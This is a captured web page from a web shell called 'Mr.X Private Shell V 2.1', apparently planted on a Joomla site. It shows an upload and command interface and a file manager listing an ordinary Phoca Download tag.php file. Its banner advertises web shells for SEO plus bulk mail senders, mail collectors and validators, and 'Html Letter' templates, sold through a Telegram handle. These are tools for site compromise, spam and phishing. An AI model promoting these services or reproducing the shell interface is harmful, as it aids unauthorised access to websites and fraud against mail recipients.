__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Extension
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

class PhocaDownloadTag
{
	public static function getTags($fileId, $select = 0) {

		$db = Factory::getDBO();

		if ($select == 1) {
			$query = 'SELECT r.tagid';
		} else {
			$query = 'SELECT a.*';
		}
		$query .= ' FROM #__phocadownload_tags AS a'
				//.' LEFT JOIN #__phocadownload AS f ON f.id = r.fileid'
				.' LEFT JOIN #__phocadownload_tags_ref AS r ON a.id = r.tagid'
			    .' WHERE r.fileid = '.(int) $fileId
				.' ORDER BY a.id';
		$db->setQuery($query);

		/*if (!$db->query()) {
			echo PhocaDownloadException::renderErrorInfo('Database Error - Getting Selected Tags');
			return false;
		}*/
		if ($select == 1) {
			$tags = $db->loadColumn();
		} else {
			$tags = $db->loadObjectList();
		}

		return $tags;
	}

	public static function storeTags($tagsArray, $fileId) {


		if ((int)$fileId > 0) {
			$db = Factory::getDBO();
			$query = ' DELETE '
					.' FROM #__phocadownload_tags_ref'
					. ' WHERE fileid = '. (int)$fileId;
			$db->setQuery($query);
			if (!$db->execute()) {
				echo PhocaDownloadException::renderErrorInfo('Database Error - Deleting FileId Tags');
				return false;
			}

			if (!empty($tagsArray)) {

				$values 		= array();
				$valuesString 	= '';

				foreach($tagsArray as $k => $v) {
					$values[] = ' ('.(int)$fileId.', '.(int)$v.')';
				}

				if (!empty($values)) {
					$valuesString = implode(',', $values);

					$query = ' INSERT INTO #__phocadownload_tags_ref (fileid, tagid)'
								.' VALUES '.(string)$valuesString;

					$db->setQuery($query);
					if (!$db->execute()) {
						echo PhocaDownloadException::renderErrorInfo('Database Error - Insert FileId Tags');
						return false;
					}

				}
			}
		}

	}

	public static function getAllTagsSelectBox($name, $id, $activeArray, $javascript = NULL, $order = 'id' ) {

		$db = Factory::getDBO();
		$query = 'SELECT a.id AS value, a.title AS text'
				.' FROM #__phocadownload_tags AS a'
				. ' ORDER BY '. $order;
				//. ' ORDER BY a.id';
		$db->setQuery($query);

		/*if (!$db->execute()) {
			echo PhocaDownloadException::renderErrorInfo('Database Error - Getting All Tags');
			return false;
		}*/

		$tags = $db->loadObjectList();

		$tagsO = HTMLHelper::_('select.genericlist', $tags, $name, 'class="form-select" size="4" multiple="multiple"'. $javascript, 'value', 'text', $activeArray, $id);

		return $tagsO;
	}
}

Filemanager

Name Type Size Permission Actions
index.html File 44 B 0664
tag.php File 2.67 KB 0664
Filemanager